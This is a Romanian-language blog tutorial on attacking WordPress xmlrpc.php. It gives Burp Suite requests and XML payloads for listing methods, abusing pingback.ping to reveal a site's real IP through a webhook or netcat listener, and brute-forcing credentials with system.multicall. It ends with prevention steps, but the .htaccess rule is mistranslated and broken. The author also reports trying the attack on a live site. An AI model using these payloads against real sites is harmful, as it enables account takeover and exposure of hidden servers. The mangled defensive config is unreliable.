Articles

Exploatarea xmlrpc.php

X

Privacy & Cookies

Acest site folosește cookies. Continuând, sunteți de acord cu utilizarea acestora. Aflați mai multe, inclusiv cum să controlați modulele cookie.

Got It!

Advertisements

Ce este XML-RPC?

XML-RPC este un API care urzește informațiile sau datele în fișier XML și le trimite către aplicația mobilă sau software-ul de la distanță. Acest lucru a fost introdus deoarece în vremurile de demult, viteza internetului nu este rapidă, în loc de a le scrie online. Utilizatorii își scriu conținutul offline și publică totul împreună folosind API-ul. Pe măsură ce serviciile de internet s-au îmbunătățit, cei mai mulți dintre noi nu mai folosesc această funcție, de multe ori a fost uitată de noi.

xml_for

Care sunt vulnerabilitățile?

  1. Atac prin forță brută. Principalele motive pentru a efectua atacul, este faptul că acest API nu are încercări de autentificare plafonate pe site. Este posibil să nu obțină acreditările corecte, dar totuși să cauzeze probleme precum supraîncărcarea site-ului. Disponibilitatea site-ului este afectată.
  2. Interceptarea/furtul informațiilor de autentificare. Lipsa sistemului de autentificare. De fiecare dată când, utilizatorul încearcă să acceseze site-ul, acreditările de autentificare sunt trimise în cadrul formularului XML. În cazul în care conexiunea este interceptată/ MITM, datele XML clare sunt expuse.
  3. XMLRPC pingback.ping. Atacatorul poate utiliza această metodă pentru a prelua adresa publică reală a site-ului WordPress. Orice acțiune ilegală pe care ați efectuat-o este pe cont propriu. Eu nu sunt responsabil pentru niciuna dintre acțiunile voastre. Vă rugăm să vă configurați propriul mediu pentru a face acest lucru sau să cereți permisiunea înainte de a face acest lucru.

    ⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

    Atac XMLRPC folosind Burpsuite

    În primul rând, verificați dacă XMLRPC.php este accesibil pe site-ul țintă. În acest caz, am configurat un site demo WordPress pentru a efectua atacul.

    checking

    „Serverul XML-RPC acceptă doar cereri POST.”

    Utilizând metoda GET pentru a prelua fișierul, în mod normal vom obține acest rezultat.

    În continuare, vom face o metodă POST pentru a prelua toate metodele utilizabile în serverul XMLRPC.

    POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

    methods

    Serverul vă va răspunde cu o listă de metode care pot fi utilizate. În acest caz, suntem interesați în special de metoda pingback.ping. Un lucru de reținut este că, toate aceste date care intră și ies utilizează formatul XML, așa cum am explicat mai sus. Deci, asigurați-vă că formatul datelor este corect.

    Pentru a efectua atacul, trebuie să pregătim mai întâi aceste 2 lucruri

    1. Un webhook valid.Site URL sau orice altă alternativă pe care o preferați, cum ar fi beeceptor și postbin
    2. Un URL valid al unei postări WordPress vizate.

    <?xml version=”1.0″ encoding=”UTF-8″?>
    <methodCall>

    <methodName>pingback.ping</methodName>
    <params>
    <param>
    <value><string></string></value>
    </param>
    <param>
    <value><string></string></value>
    </param>
    </params>
    </methodCall>

    webhook

    result

    Mai jos este un alt exemplu al acestui atac efectuat pe acest site WordPress. DA! Cel pe care îl priviți chiar acum. Din curiozitate, vreau să încerc să atac site-ul real în loc de cel pe care l-am găzduit.

    own

    După cum puteți vedea, acest atac nu reușește și nu se va afișa niciun rezultat în postbin. Se pare că au făcut unele măsuri de precauție și de prevenire a site-ului WordPress online. Această metodă este utilă pentru un site configurat de unul singur și nu a dezactivat xmlrpc.php

    Dacă nu doriți să folosiți POSTBIN, deschideți NC și setați pe modul de ascultare funcționează la fel de bine! 👍👍👍

    ncnc2

    Atac prin forță brută folosind XMLRPC.php

    Așa cum am menționat mai sus, nu există o limită a numărului de încercări. Obținerea unei combinații reușite de nume de utilizator și parolă este doar o chestiune de timp. Și, de asemenea, nu există niciun mecanism cum ar fi blocarea contului, după un anumit număr de încercări.

    <?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

    Pentru a arăta diferența dintre o autentificare reușită și una nereușită, iată un exemplu.

    brute

    Și, bineînțeles, ar trebui să folosiți Intruder pentru a efectua acest tip de atacuri prin forță brută.

    În primul rând, verificați ținta atacului, în cazul meu voi folosi adresa IP a site-ului meu.

    target

    trebuie să setăm Payload Positions (Poziții de încărcare utilă) și să alegem ‘Cluster bomb’ (Bombă cluster) în lista Attack type (Tip de atac). Resursă bună pentru a citi despre poziții și tipuri de atac

    postion

    Aici, trebuie să setăm 2 poziții de sarcină utilă, ‘nume de utilizator’ și parolă. Apoi, trebuie să setăm lista de cuvinte. Aceasta este documentația tipurilor de sarcină utilă

    usernamepassword

    Clic pe ‘Start attack’ atunci când sunteți gata

    success

    După cum putem observa, una dintre Request are o lungime diferită. Iar când verificăm datele brute sub fila de răspuns, ne arată că acest set de combinații a reușit să se conecteze cu succes.

    Prevenție

    1. Instalați plugin-ul pentru leneși
    2. Dezactivați xmlrpc.php folosind .htaccess

# Refuzați accesul oricui la fișierul
<File xmlrpc.php>
ordine deny,allow
deny from all
</File>

.